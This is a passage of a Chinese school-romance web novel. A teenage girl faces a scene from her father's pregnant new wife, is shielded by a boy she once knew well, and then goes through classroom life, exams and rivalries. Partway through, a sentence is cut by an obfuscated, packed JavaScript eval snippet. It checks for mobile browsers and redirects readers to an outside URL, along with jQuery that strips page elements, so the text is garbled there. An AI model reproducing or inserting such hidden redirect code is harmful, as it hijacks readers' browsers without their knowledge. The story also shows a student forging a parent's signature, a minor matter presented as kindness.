李婉铧撩了下头发,似乎很不耐烦,虽然挽着钱友让,眼光却看向他处。 程荔缘拿了红包:“好。” 李婉铧目光一下子转回来,她大概没想到程荔缘居然真的收,高中小孩子一般脸皮薄的。 她和钱友让结婚后,钱友让花在女儿程荔缘身上的钱,她尤其盯得紧。 程荔缘:“我走了。” 钱友让:“等等!” 程荔缘诧异:“又怎么了。” 钱友让:“那件事,你帮爸爸一个忙,不和你甘叔叔联系也行,我请你董阿姨吃个饭。” 程荔缘没忍住,红包挡住嘴角笑了起来,她觉得钱友让可太有招式了,讨好甘霸原尚有一丝理论上的可能,讨好董芳君,那是自取其辱。 程荔缘还有奶腮,生动的笑容落在李婉铧眼里,异常刺心,脑子一激,话就出来了:“你女儿和她董阿姨关系这么好,是奔着当人家儿媳妇去的吧。” 她声音大,花坛边有散步的老年人推着儿童车上的孙女经过,投来一瞥。 钱友让到底还是个要脸的知识分子,扭脸呵斥:“你在说什么!” 李婉铧以为程荔缘会变脸色,没想到程荔缘不反驳,也没生气,松松咬着下唇,嘴角却是压不住的上扬,浅笑盎然,明明长了一张乖乖脸,却露出这样隔岸观火的神态,殊异于同龄人。 李婉铧作为过来人,那副表情落入眼里,比绿茶还绿茶,直让她应激。 她辗转打听过,程荔缘和甘霸原的儿子,确实是实打实的青梅竹马。 就算结不了婚,光这层关系,就能让一个未成年的社会地位凌驾于她一个成年人之上。 李婉铧知道,程荔缘知道,李婉铧知道程荔缘知道她知道。 此时,程荔缘笑而不语,让她的话直接掉在地上,李婉铧高高的自尊也像落在了地上一样。 李婉铧冲钱友让提高声音:“我怎么,我说的不对吗?人家一门心思要嫁豪门,人家妈妈培养来就是钓金龟的,你让人家帮忙,人家还看不起你这个当爹的。” 钱友让厉声:“闭嘴!” 怀孕激素不稳定,被钱友让一喝,李婉铧的矜持彻底被打碎了。 看程荔缘闲闲站在旁边,眼波微转还在笑,想起自己在学校遭的白眼,她一口恶气堵在胸口,恨不得上去抓挠两把。 可她怀着孕,不敢冒风险,索性指着程荔缘的鼻子骂:“笑什么笑?小小年纪,就仗着和人家儿子关系好,想当童养媳,可惜你妈妈生不出儿子,老钱家以后挣的钱都是我儿子的!就楼上这套房子,那也是我儿子的!” 钱友让不敢大动作阻拦她,怕她情绪激动肚子出事,发急道:“你冷静点!越说越离谱,你跟一个小孩子计较什么!” 李婉铧长期积压的委屈,一旦开了口子,就收不回来,神经啪嚓断裂,情绪彻底崩了:“都跟了前妻了,算你哪门子孩子,你把红包给我拿回来!那是我的钱!” 附近业主经过,停在原地开始围观。 李婉铧是个孕妇,钱友让文质彬彬的,看着却比她大一辈,程荔缘一看就是个弱弱的乖巧中学生,李婉铧冲人家一小孩子大吵大闹,想也知道是什么情况,年纪大的摇头,年轻的皱眉。 李婉铧大有“你不把红包拿回来,我今天就要流产在这儿”的气势,钱友让顶不住了,不得不向程荔缘伸手:“缘缘,先把红包给爸爸,改天给你再包。” 程荔缘后退半步,音量不大却让所有人听得一清二楚:“那是我学杂费……” 众人静了一瞬。 旁边一个大妈再也看不下去了,上前说:“唉哟,你是老钱老张的儿子吧,太久没来都没认出来,这是你小囡?管管你这老婆,怎么好意思要人家小姑娘的学费啊!赶紧扶上去吧!” 当初程揽英和钱友让离婚,双方在这儿撕过,闹得不可开交,老邻居也都知道这档子事。 其他路人也附和起来:“对啊。”“这不合适吧。”“别吵了,快扶上去。” 李婉铧快气炸了,她万万没想到程荔缘居然有这样四两拨千斤的心机。 才十六岁的小孩子,一句话挑唆得她成了恶人,以后等她自己孩子出生,这还了得? 李婉铧生出一股寒意,裹着心口那道毒火,不管不顾发泄:“别以为我不知道,甘霸原的儿子出过事故,脑震荡失忆了,一醒来压根不记得你,人家从小一起玩到大的是他那个表姐,人家那才叫青梅竹马呢,你装什么嗲,麻雀还想当凤凰!” 程荔缘一怔,她没想到钱友让居然把这么秘辛的事,说给了李婉铧听。 甘衡当初滑雪出事,差点丢了半条命,昏迷了一个月,董芳君天天以泪洗面,这是他家的伤痛和隐私。 众邻居没听懂李婉铧说的什么,纯粹看不下去,她一提高嗓门,就引发了众怒。 那些刚刚还安静围观的人,也提高了声音指责,其中有一对年轻人,骂骂咧咧声音最响亮,“是小三吗!”“就是小三!”“豁,小三还这么嚣张,欺负小孩儿!”“当爹的也不配。” 中老年人也叹气,“造孽哟……”“算了算了,给肚子里那个积点德吧。” 钱友让怕闹出乱子,开口恳请邻居别看热闹了,体谅一下孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207323|181283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇,这是他们家事。 李婉铧一点不在意,她就想激怒程荔缘,仿佛程荔缘是她母亲的象征符号,让程荔缘破防,就是让程揽英破防,她盯着程荔缘,捕捉到了程荔缘脸上的怔忪。 李婉铧胸口一阵快意起伏。 程荔缘开口了,声音很轻,这个距离只有他们能听得见。 和李婉铧预想的不同,程荔缘表情语气都很正常:“你把甘叔叔家里的隐私都说出去了,待会董阿姨来接我,我会转告她的。” 董芳君会来接。 就这一句话,如一盆冰水泼在李婉铧脸上,她表情一空,后知后觉清醒过来,她的名声和事业,还系在董芳君这个解铃人手上。 董芳君要是提前打声招呼,可以让整个临海市的私立幼儿园和私立中学,都不收她孩子。 李婉铧张了张口,嗓子就像被掐住了一样,急怒攻心,尖锐的耳鸣袭来,让她一阵头晕,整个人脸色发青,却僵硬不动,能看见额头绷起的血管。 李婉铧色厉内荏:“你敢!” 程荔缘抿嘴笑了笑:“阿姨儿子继承的这房子,还没董阿姨家里狗狗的厕所大,听说试管挺疼的,试了那么多次,我爸也是不心疼,阿姨给奶奶传宗接代辛苦了,奶奶肯定会把房子留给你的,阿姨还是回家好好休息吧。” 程荔缘从来没开口叫过李婉铧,她俩年纪只差十多岁,其实轮不上叫阿姨,可是程荔缘今天这冷不丁一声尊称,杀伤力之于李婉铧,比任何称呼都大。 还有她慢条斯理说的每句话。 李婉铧的耳鸣骤然升高到极点,她忘了思考,本能地扑了过去,要打程荔缘。 孕妇爆发的力气是巨大的,钱友让居然也没拉住她,反而被她推得向后摔倒在地,众邻居发出惊叫,伸手想阻止,距离太远来不及。 一条手臂从程荔缘脑袋旁边伸出来,拨开了李婉铧,李婉铧脚脖子一歪,狼狈地往旁边倾倒,差点摔在了草丛里,扶着树干直喘气。 程荔缘闻到清澈幽微的淡香,比黄秋腾和陈汐溪身上的还好闻,但并不甜,还有些微苦。 这香味包围她,像儿时的房间。 来人站到她前方,很高,侧影完全挡住前面,隔出安全范围。 程荔缘反应了过来:“你的手——” 刚刚李婉铧好像是冲毁她容来的,五个指甲直接往她脸上抓,甘衡手臂正面挡了一下,程荔缘清楚看见那一下划拉得又重又狠。 “你没事吧?”甘衡没回头,看着李婉铧,好像对方是条乱咬人的狗,随时会窜过来。 “没……”程荔缘目光落在他放下的手臂上,眼皮一抖心口一跳。 “缘缘!”“姐姐!”姑妈和二叔穿着拖鞋就下来了,堂妹也跟着。 估计是老邻居给他们打了个电话。 二叔过来确认了程荔缘没事,过去扶起钱友让,姑妈去扶起李婉铧,一向和气的脸也怒气冲冲,数落着李婉铧,李婉铧看到了甘衡手上四道血痕,嘴唇抖了起来。 甘衡穿着一件质感软糯的灰棉T,做旧工装长裤,简单到没有款式,却让一个砖石墙的普通小区花坛角落,仿佛成了大洋彼岸的上等街区。 钱友让顾不得尴尬,过来道歉:“甘衡,伤口严重不,叔叔去楼上拿点创口贴,你等等。” 甘衡礼貌地说:“不用了,我妈车还停门口的,我来接程荔缘回去。” 程荔缘不可避免的听见了自己名字从他嘴里缓慢念出来。 钱友让:“我去跟你妈妈打个招呼——” 甘衡:“不用。” 他说话并不用力,也没什么情绪,声线什么时候都是柔和的,这两个字出来,却带着一股凉侵侵,钱友让一个长辈,也语塞了,无法再厚着脸皮提议。 不论之前多少心思,此时都在甘衡一句“不用”之下,消停了。 “钱友让!你过来!”二叔回头叫他,闹出这种事,要是不好好解释道歉,平息公愤,左邻右舍不知道要怎么看他们家。 甘衡看向程荔缘,目光落在她脸上,身体向外转:“走。” “姐,你真的没事吗。”堂妹担忧地压低声音。 程荔缘拉了下堂妹的手,朝她露出安抚的笑容,肩膀不小心轻擦到甘衡的短袖,激起一片鸡皮疙瘩,本想落后半步的,甘衡却和她保持了一个步速,轻轻按着她肩膀,帮她隔开众人的视线,一路走出了小区。 他的手隔着纯棉衣料,热度沿着肩头,向她耳朵和脖颈辐射。 程荔缘看到前面有药店,顺势挣脱了他:“你等下,我马上。” 她背着挎包小跑过去,用医保卡买了消毒水和创口贴,提着塑料袋匆匆出来,一眼看到甘衡站在太阳底下,头发被微风吹动,睫毛茸茸都变淡了,眼睛黑得像水,阴蓝蓝倒映出完整的天空,看着她。 就这下台阶的两三步路,脖颈凉爽,风轻天淡,他们之间好像什么都没改变。 最后一步落在水泥地上,现实的燥热气也回来了。 程荔缘忽然意识到一个问题,刚刚甘衡是什么时候来的,站在那边看了多久,听了多久。 尴尬一瞬间涌上心头。 她视线打飘,平视前方,落在甘衡肩膀旁边,有些词穷:“董阿姨在哪呢?” 4. 第 4 章 甘衡被她父亲的小三抓伤了,这事怎么就水灵灵发生了? 程荔缘内心飘过一排白云绵绵的羊驼。 她还想问,你怎么来了,来了多久了。……算了还是别问。 “那边就是我妈的车。” “噢。” 他们没有闲聊,直接去了董芳君的车前,甘衡拉开后车门,让程荔缘先上车,又替她关上车门,沉实安稳的“咚”一声。 “缘缘!”董芳君是自己开车,在驾驶座回头,戴着墨镜,口红亲切,气质一看就是高级知识分子,“今天怎么样?你奶奶身体还好不。” 她的口红,果然不是那天程荔缘在车上发现的颜色。 程荔缘喊了声“董阿姨”,看见甘衡从外面绕到副驾驶,又经过副驾驶,拉开后座另一边门,矮身上车,坐在了她右边,关门。 密闭的空间内,他们距离骤然拉近,他身上的气息又飘了过来,温热好闻。 程荔缘卡了下壳:“刚刚……”她把事情说了一遍。 董芳君听完,又惊又气,扭头转身打量程荔缘:“她伤到你没?” 程荔缘摇头,赶紧指甘衡:“甘衡被抓伤了。”然后迅速提起塑料袋:“我买了点创口贴。” 甘衡是为她挡了那一下的,程荔缘欠他一个人情。 甘衡抬眼瞟向她,董芳君看了眼他手臂,没当回事,安慰程荔缘:“你岑岑哥哥经常在冰上摔,不用管他,幸好你脸没事,我回头跟你妈妈说,以后千万别再单独去那边了,太危险。” 程荔缘听她这么说,悬着的心才放下,不好意思地说:“好的。” 董芳君又叮嘱了一番,然后让两小孩系安全带,发动车子,打方向盘驶离。 程荔缘看向甘衡:“创口贴贴一下吧。” 甘衡靠近了些,手肘放到中控扶手上,直接把前臂亮给程荔缘:“谢谢。” 程荔缘先用消毒水给他喷了下伤口,再撕开创口贴,贴了四张。 甘衡手臂一点不干瘦,充满力量感,手臂肌肉匀称,能看清筋腱的挪移,脸还是高中生。 座位够宽敞了,他坐着还是占满了空间,duang大一个,长腿明显,程荔缘和他一比,愈发小个子,感觉自己这边都拥挤了起来。 程荔缘手指尖尽量不碰到他皮肤,创口贴贴好,只轻轻在两边按了按,让贴紧。 甘衡手臂上起了些许颗粒,似乎是鸡皮疙瘩,程荔缘没看见,一门心思贴完。 “好了。” “谢谢。” 董芳君听两小孩一本正经社交,不觉好笑:“以前还岑岑哥哥缘缘妹妹地叫,现在怎么这么客气了。” 甘衡没说话,目光扫了过来。 距离近,他目光如有温度,程荔缘脸上微笑不变,长辈有话她就接着:“高一了嘛。” 董芳君觉得俩小孩是太久没见面,青春期长大了,别别扭扭有点生疏,说:“缘缘你中考一暑假都没见着人,阿姨还想叫你来家里玩,今天下午岑岑要训练,你一起去玩吧,冰场很好玩,晚上阿姨带你们吃披萨。” 这套流程,在小学和初中,曾经是程荔缘每个周末都会经历的。 除了披萨,还有烤肉,炸鸡,冰淇淋和其他小孩子爱吃的东西。 董芳君和程揽英在一旁聊中年人的话题,时而神情端肃,时而开怀大笑,甘衡和她就在附近玩。 程荔缘用万分可惜的语气回答:“啊,我回去还要做套卷子,周考没考好,改天我再跟董阿姨你一起逛街吧……”她略过了甘衡不提。 董芳君没注意:“才高一,该玩玩,该休息休息,效率更高。”她知道程荔缘成绩中上,需要提升,印象中这孩子也一直挺努力,就没勉强,车还是往程家方向开。 车内飘起轻柔的古典交响乐,程荔缘时不时跟董芳君聊上一句。 刚出生的时候,董芳君就抱着她拍过照,还给她换过尿布,这么多年和她姨妈也没什么区别了,聊天并不费劲儿,想什么回答什么。 反而她和甘衡之间,再无话可说。 为了不让空气沉默,显出他们之间的异常,程荔缘也就更主动和董芳君聊天。 叮一声轻柔提示音,甘衡手机发出来的。 甘衡看了几秒:“那个打人的,来加我了。” 手机屏幕很大,程荔缘看清了李婉铧发的好友申请,说要赔礼道歉。 董芳君:“你别通过,不理她,一点大人的体面都不要了。” 董芳君从不轻易评价别人,这在她已经是很严重的批评了。 “缘缘,那个李婉铧没骂你吧?” “没有。” “骂了。” 甘衡的声音盖过了她的,程荔缘收声,甘衡目光对上她时,她却立即收回视线。 胸肋后方,心脏跳快了一拍,不是因为别的,她知道甘衡肯定听见了。 ……什么青梅竹马,什么金龟婿。 程荔缘一阵无力,但也失去了解释的力气,何况不需要解释。 他也不是第一次误会她。 接下去,甘衡和董芳君聊了些什么,程荔缘神游,没有注意听,回过神,车已经开到了她家小区门口。 “到啦。”董芳君说。 “谢谢董阿姨送我,”程荔缘提起帆布挎包,一边下车一边挥挥,“董阿姨再见……再见。” 最后俩字她是看着甘衡T恤说的,发音含糊,董芳君没注意,放下车窗嘱咐她。 “阿姨给你定了披萨,到时候放门口,你等送餐员走了就去拿。” “好,谢谢董阿姨。”“嗯,缘缘再见!” 从小区正门走到单元楼,进电梯,按楼层,到家。 程荔缘挎包扔地上,一个助跑把自己扔沙发上,伸直了腰,长长叹了口气。 她决定屏蔽今天发生的一切,就当无事发生,她和甘衡其实今天没讲过话。 新的一周,程荔缘继续上课,写作业,应付小测验,她的活页笔记很漂亮,黄秋腾和陈汐溪都借去抄,发现这个笔记特别有效率。 陆续的,又有几个同学来借,程荔缘都借给他们了,反正笔记上的内容她已经记住了,谁想看想抄都可以。 那几个同学对程荔缘印象很好,之后走廊遇到会跟她打招呼,得空也会侃两句,大家慢慢熟悉起来,每一个普通高中生的人缘,都是这样生长着,试探着向外拓展,和花坛里的小草一样。 月考终于还是来了。 程荔缘认真复习过,分数有提升,排中上,拿回家签字,程揽英照常鼓励两句,唰唰签了。 黄秋腾的语文和政治又小翻车,好在理科是强项,总分挺进班上前十。 陈汐溪和吴放不用说,吴放化学还考了个年级第一,他以前就是搞化学竞赛的。 甘衡很吓人,总分居然是全班第一,年级前二。 众人已经麻木了,有种“他校服穿出高定感,我校服穿出麻袋感,他考试像江直树,而我像野比大雄”的无力。 真正优秀的人,做什么都是六边形一样的优秀,甘衡把这句话诠释得淋漓尽致。 和他当同学,让大家看到了后天弥补不了的差距,痛并快乐着。 偏偏甘衡一点自傲都没有,甚至没在意成绩这个东西,午休时其他人跑图书馆自习,他在教室蒙头睡了一觉,微风吹进高窗,拂动他的发丝,睡成了偶像剧。 有人悄悄议论,甘衡走艺考路子,绝对第一,他看人时眼睛里好像故事特别多,其实本人纯属放空,压根没情绪,太可怕了,为啥要和他们这些只能读书的抢赛道啊。 听的人反驳,凭他的运动天赋和头脑,当明星才是暴殄天物。 “人和人之间,真的有天赋差距啊。”陈汐溪有点惆怅地说,这次甘衡在英语上,居然也超过了她这个科代表,作文扣了两分,其他满分。 “别跟人家比,出厂设置就不一样。”黄秋腾劝她。 “这题出得挺变态的,怎么也能猜到出题人思路呢……”陈汐溪还是在意。 程荔缘换了话题:“你们看我新买的水杯。” “哇好萌啊。”“还有杯套。” 一中学习压力非常大,不是所有人都能跟上,好多人月考就坠机了,有的话也不想说,只想一个人静静,蔫蔫闷闷,这还算心理素质强大的。 其他个别直接趴桌子上静悄悄流泪,被同桌发现,同桌一下慌了:“你怎么了……” “考砸了……” 同桌一边轻轻拍她背一边劝,旁边很快围了两个女生过去,学习委员也去安慰了:“下学期就分科了,分科就好了,学考比这水得多,学考过了就行。” “不是的,好想死,我不敢拿回去签字,我妈特别重视分数……”哭的那个女生微弱地说。 大家赶紧一叠声安慰,却也没什么办法,考再差也得拿回家签字,学习委员要统计名单的,几个男生也过去安慰了。 “我也不敢拿回去给我爸签字。”“我物理不及格。” 程荔缘和黄秋腾中午在校园溜达,这时才回教室,看到一小圈人围在那边,安慰一个小声啜泣的女生,每个班都有一个很胖的同学,女生胖的很显眼,平时比较内向,只跟同桌和前排熟,这是她第一次对外抒发自己。 程荔缘记得和她在体育课上说过话,对方其实很温柔,还默默给跑完四百米低血糖的同学买水买巧克力。 黄秋腾很关心:“付梓佳怎么了。” “麻烦让一下。”另外一个声音在人群外响起。 一小圈人骚 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不过,付梓佳还是很担心,再怎么她还是要拿回去签字。 甘衡:“你有你妈妈以前的签字没,我帮你签了。” 付梓佳傻眼了,旁边还站着学习委员,甘衡本身还是纪律委员,有个男生立即反应过来:“衡总,能不能帮我签了!” 体育课上他和甘衡打过篮球,也没说上几句,这是他第一次称呼甘衡。 甘衡说:“不签,你压力不大。” 那男生哀嚎起来,大家全都乐出了声,学习委员推推付梓佳:“我啥都没听见。” 付梓佳找到了她妈妈的签名,甘衡借了她一支笔,撑着桌子直接在成绩单上签了。 后排的人也都探着脖子去看。 “卧槽一模一样的。”“真的好像啊……”“笔锋都一样。” 其他人恨不得也让甘衡帮自己签字,知道甘衡肯定会拒绝,羡慕地望着付梓佳。 付梓佳脸不红了,眼圈红了,跟甘衡说:“谢谢……” “小事,”甘衡环视一圈,“不会有人去打小报告吧?” “衡总你这话说的!”“付梓佳你放心,我们都不会说的。”“万一你妈妈要看成绩单,我可以给你去打印店P一张……” 大家话赶话地表态,脸上还都有点感动,班级凝聚力直线上升,学习委员怕热闹过头,引来老马,被抓到就不好了,赶忙让大家先散了。 大家散是散了,教室氛围却明显还很有感染力。 回到座位上,黄秋腾摇了摇程荔缘的手,屏息凝神地说:“没想到甘衡人这么好诶。” 程荔缘:“嗯?” 黄秋腾:“之前感觉他不好接近,结果他二话不说帮付梓佳把字签了,挺仗义的,还很亚撒西呢。”她比了个大拇指。 程荔缘:“……” 黄秋腾不是唯一这样觉得的,班上一大半人听说了这件事,都觉得甘衡为人很不错。 关系一旦破冰,大家发现原来完美优等生也是人,也有手机瘾,会打游戏,水平不是打得最好的,会跟其他人求助,大家跟他加了好友,一起排一起开黑。 甘衡从不装,也不秀操作,一直辅助,失误了就承认,保队友不送分。 结果有一次突然检查手机,老马全班多人未上交,抓到原来是纪律委员本人放水,最后纪律委员主动担全责。 甘衡的乌纱帽就被撸下来了,还被喊去办公室一趟。 回来的时候,被大家行注目礼,有男生主动站起来跟他击掌,然后大家掌声噼里啪啦的,也不知道在燃什么,女生都笑成一团。 甘衡平平淡淡牵起嘴角:“老马说下午放学都去班长那边领手机。” “好耶!”“衡总大气!” 冰球天才的完美形象被弱化,大家反而更有同龄人的共鸣,会主动和甘衡说笑,很愿意在甘衡值日又需要去训练的时候,帮他把卫生打扫了,甘衡也会请他们吃食堂小窗口的烧烤,买两箱冰可乐大家喝。 走到程荔缘和黄秋腾这一桌,甘衡先递给眼睛发亮的黄秋腾一罐,然后把一罐冰可乐放在程荔缘桌子上。 凝结水雾的罐底和课桌碰撞出冰块的声音。 程荔缘条件反射想起了甘衡家里那台键盘。 还有那些整组整套、在她看来都长差不多的游戏设备,一间是她卧室三倍大的电竞房。 这人是怎么自然的,耐心十足地伪装出自己不会打游戏的。 就为了对全班展示他也是个普通人,没架子,接地气,也有自己不擅长的事。 关键他还成功了。 现在,谁只要跟哪个人稍微说一句甘衡坏话,就会成为众矢之的。 5. 第 5 章 “谢谢甘衡同学。”黄秋腾正口渴,喀拉一声清脆拧开,畅饮。 程荔缘没看他,仅仅礼貌点头。 甘衡低头看了她一眼,自然地走开了。 那罐冰可乐她到放学都没动,等晚自习之前,她放去了大家接水的地方,肯定有人会喝。 顺便用她的新水杯接点开水,泡果茶。 程荔缘将茶包放进杯子,挂耳露在外面,接开水。 公共开水房是一楼走廊尽头一间办公室改的,几年前校长去启航参观回来,专门给大家添置了两台冷藏柜,主要是方便高三生,这会就有人来,开水房弥漫起一股淡淡的中药味。 “抱歉,我拿一下我的杯子。”女生声音响起,程荔缘让开了。 文心歌从储物架上找到了自己专门用的水杯,拿了下来,也去冲中药。 罗珊珊关心地问:“你嗓子还没好呀。” 文心歌声音轻轻的:“嗯,医生说一个月都不要用嗓。” 罗珊珊:“文艺汇演怎么办,还来得及吗。” 文心歌:“十一月初?应该来得及。” 罗珊珊嘿嘿两声:“还等着你和甘衡合唱呢。” 文心歌打了她一下,余光扫了程荔缘一眼,她不认识程荔缘,只是每次去一班教室,都会看到甘衡附近坐了哪些人,知道程荔缘是一班的。 另一个冲中药的高三女生看了一眼罗珊珊,大概是对她在开水房这样聊天感到诧异。 临江一中大多数人每天写不完的卷子和作业,没空想别的。 “这罐可乐是谁的,没人喝我喝了。”罗珊珊没注意,指着程荔缘放在接水处的冰可乐,看无人应答,就拿了起来,刺啦一下抠开了。 开水房有个不成文的规矩,不想要的东西就放在接水处平台上,会有人拿走。 于是经常有人把不想喝又没拆的饮料放接水处。 程荔缘安安静静接好水就走了出去,她低头看着杯子,侧脸狠狠撞在一个人胸口。 程荔缘手瞬间伸了出去,茶水洒出,落在她虎口,没烫着对方。 “甘衡!你没事吧!”文心歌在后面说,马上快步过来了。 程荔缘低下头,直接绕开甘衡往前走。 在罗珊珊她们眼里,就产生了误会,好像是程荔缘不看路,烫到了甘衡,还不道歉想直接走人了事。 “喂,你烫到别人了。”罗珊珊冲着程荔缘背影说,文心歌找纸巾要给甘衡擦。 甘衡上前一步就把程荔缘拉住了,他没有用力,按在程荔缘肩头那只手却让她没法动。 “我看看你手。”甘衡拿开了她水杯,放到门边架子上,马上国庆了,天气依然很热,程荔缘穿的是学校的白色短袖polo,她生怕甘衡接触到她手,摇摇头,连没事两个字都没说,挣脱要走。 甘衡握住她手腕带她到了洗手台那边,打开自来水冲她虎口。 程荔缘反抗不了,没有外在伤口,只接触了一瞬,是可以马上冲冷水的。 沁凉的水柱冲洗在虎口,皮肤上的灼热马上缓解了,这个天气的水很冰凉。 文心歌拿着纸巾站在原地,甘衡注意力在程荔缘身上,不在她身上。 他好像完全没有觉察到开水房其他人的存在。 罗珊珊只单纯觉得甘衡对人太nice了,心情还隐约有奇怪的酸,好像在替文心歌打抱不平,好像还有点别的。 见程荔缘一言不发,罗珊珊就愈发看不顺眼,冰可乐也喝不下去了,用所有人都能听见的音量嘀咕:“烫到别人还不道歉……素质。” 甘衡:“对不起,烫到你了。”他很认真地对程荔缘说,还看着她眼睛。 程荔缘:“呃。” 罗珊珊脸腾地红了,尴尬到了极点,张了张口,微弱的“我不是在说你”却没发出声音,能考上临江一中,她也不是真的蠢。 甘衡理解力没那么低,他能说出这句话,就代表他在维护那个女生。 文心歌拿着纸巾的手垂落下来,慢慢握紧。 喝中药的高三生,一开始就全清了全程,噗一声笑出了声,慢悠悠看着罗珊珊她们。 罗珊珊这时回过味来,意识到是她误会了,那个女生没有烫到甘衡。 这个年纪敏感又自尊心强,面子大过天,高三生落在她脸上的目光像在打量一个奇葩,她很尴尬,还有一丝丝恼羞成怒,但不敢怼高三的学姐,就拉了拉文心歌,想直接走人。 文心歌轻轻吸了口气,看了甘衡一眼,跟罗珊珊出去了。 两人回到二班,一时沉默蔓延。 文心歌停顿了一下,慢慢说:“甘衡人真好,即使普通同学,他也会一视同仁,关心他们,一班有个胖胖的女生……”她停顿了下,没往下说。 罗珊珊get了她的未尽之言:“啊,那个挺胖的付梓佳吧,我也听说了,她有甘衡微信,好多人问她甘衡朋友圈什么样子,她没说,啧。” 文心歌没有说话,刚才在开水房,甘衡和那个普普通通的女生背对他们站在洗手台,光落在他们头顶,镀上一层晃眼的白边,不知怎的,这一幕让她心里刺刺的。 她漂亮而自知,成绩好,性格好,可这些优势,似乎在甘衡这里没有存在感。 小学就开始看甘衡的比赛,他在冰场上全速前行风驰电掣,已经成为了她的电子榨菜,精神支柱,她控制不住想离他更近一点,就像小行星会被恒星引力吸引。 为什么不可以是我呢。她心里的憧憬越来越成形。 “没事啦,下次让罗小鹏约萧阙一起吃午饭,顺便邀请甘衡,甘衡肯定也会一起的,到时候就加到他微信了。”罗珊珊看好朋友似乎不开心,赶忙安慰她。 开水房里。 甘衡:“下次别再觉得会烫到人,就宁愿烫自己。” 那是我不知道是您。程荔缘没有说这句。免得正中甘衡下怀。 她不动声色挣开了手,拿起水杯回去了,他们交错而过。 这次甘衡没有拦她,但在她擦肩时说了一句。 “不理我,就能证明我们之前不认识吗。” 他俯身瞬间,声音轻飘飘擦过她发顶,只有她能听见,“猜猜看,全班谁会最先发现。” 回了班上,他的声音还萦绕在脑海,程荔缘从尾椎到后背,慢慢爆出一片鸡皮疙瘩,冰凉细密,仿佛被蛇鳞覆上身体。 “圆?你脸色好差,”黄秋腾担心地让出位置,“身体不舒服?” 程荔缘摇摇头,坐了下来伏在桌子上,忽然觉得很累,闷声说:“好想赶快毕业。” 黄秋腾以为她厌学了,了然说:“人之常情,姐姐巴不得明天就高考!” “姐姐说什么呢,忒吓人了。”陈汐溪回头吐槽,两个人最近在刷甄嬛传,动不动就“粉娇你几”,嘻嘻哈哈叽叽呱呱,认真分析那些细思极恐的细节,程荔缘听了一会儿,慢慢扬起嘴角,胸口的浊气慢慢散了些。 那天后,程荔缘一直避甘衡远远的。 唯一不好的,坐前面的吴放会和坐他前面的甘衡、萧阙聊天。 吴放同桌陈汐溪很少参与,她只会扭头回身,和程荔缘、黄秋腾说话。 甘衡要回头看着吴放交流,不然不礼貌。 程荔缘和陈汐溪聊天时,也就免不了看到甘衡的脸,这个距离放在外面,也就是两张咖啡桌之间的距离。 程荔缘放空目光,眼神虚焦,力求把甘衡虚化成一团。 她做的很顺手,心安理得就像顺水漂一样,那天在开水房发生的小插曲,没有在她心上留下半分波澜。 甘衡每周有几晚要去俱乐部训练,不在晚自习。 他不在,教室里氛围都有点不一样,摸鱼开小差的多了,但只要他哪天不训练,坐那上晚自习,其他人也会认真学习,专心致志的氛围辐射扩散到整个教室。 吴放跟陈汐溪说,甘衡身上是有点东西的。 “不就是大家都崇拜他吗。”陈汐溪不以为然,把三本讲义在桌子上跺了跺,码放整齐。 “你也崇拜?”吴放撑着脑袋眯起眼睛,小黑眼圈是纯天生的,班上人公认他长得像马尔福,头发像小夫,总在乍一眼长得不错和搞笑咖之间摇摆。 陈汐溪听懂他言外之意,瞪了他一眼:“别拿我跟那些花痴比。” 吴放悠闲地放下手,自顾自转回去刷题,侧脸笑意未散,好像很满意似的。 黄秋腾和程荔缘在后面对视一眼,两个人都抿起嘴角。 陈汐溪简单直白,她说的花痴,指一些假装不经意路过一班教室,超经意往里看一眼,如果甘衡不在,就会反复路过,直到看见甘衡他人。 学校这些人是少数,但也不是完全绝迹。 导致外班有一些男生不太服气,甘衡去洗手间,他们会暗戳戳侧头看一眼。 结果震撼之余闭嘴了。 “……器量惊人。”不知道是哪个外班的传出来的,又传到了他们班。 女生都骂传话的:“好恶心!”“你们男生有毛病吧!”“告老朱!”老朱是语文老师。 “我昨天作业写到十二点半。”“国庆怎么过那么快啊受不了了……” 做完课间操,还有奢侈的十分钟,教室有了菜市场的苗头。 “吴放你又坐我座位!跟你说了别坐我座位屁股坐下去都温的烦死了!” 陈汐溪气得拿教材敲吴放头,吴放很少爷地轻嗷了一声,侧身抬胳膊挡,抓起三角尺还击,陈汐溪一巴掌拍掉他武器,两个人空手互扇空气。 黄秋腾一边喂程荔缘小零食,一边津津有味看他俩小学鸡互殴。 甘衡和萧阙的座位是空的,吴放一不小心用力过猛,踹到甘衡桌子,书滑落在地,他手忙脚乱去捡,被陈汐溪按着背不让他起来。 “哈哈哈哈哈……”黄秋腾笑东倒西歪,“好像我爷养的乌龟……” 陈汐溪听了这话也忍不住哧哧哧,露出一口小白牙。 “你骂谁呢!”吴放没想到陈汐溪人虽小力气恐怖如斯,费劲扭脸看向黄秋腾和程荔缘,“化学作业不借你们抄了!” 程荔缘:“Oi,我什么都没说。” 二班两个女生来到门口,引起了男生注意。 文心歌八字刘海,个子高挑,眼睛像小鹿一样往里看,罗珊珊帮她问:“甘衡在吗?” “不在,体育特长生课间操时间都去室内馆训练了。”有个男生好心地告诉她们。 “哦。”罗珊珊拉着文心歌走了。 附近几个同班或站或坐,俯身凑一起低声八卦,无非是说她们来一班有点太勤了,不过临江一中的学生素质挺高,即使八卦也不过分。 “每次都拿社团当借口,要换隔壁启航,早就被骂了吧。”“那边喜欢甘草的是多。”“还是我们一中人厚道。” 甘衡已被公认为校草,连高二高三级草都被他艳压下去,简称甘草,其他外号是衡神,远没有甘草使用频率高,一班自己人一般叫他衡总。 吴放觉得这个名字特别生草,念一次笑一次,全念成四声,“干……草……”影响到陈汐溪预习下节课笔记了,随手在他肱二头肌上pia一下,吴放又捂住胳膊,歪着身体嗷了一声,陈汐溪看都没看他。 “汐汐,中午出去吃不?”“不啊,我住校,饭卡充了一学期。”陈汐溪说。 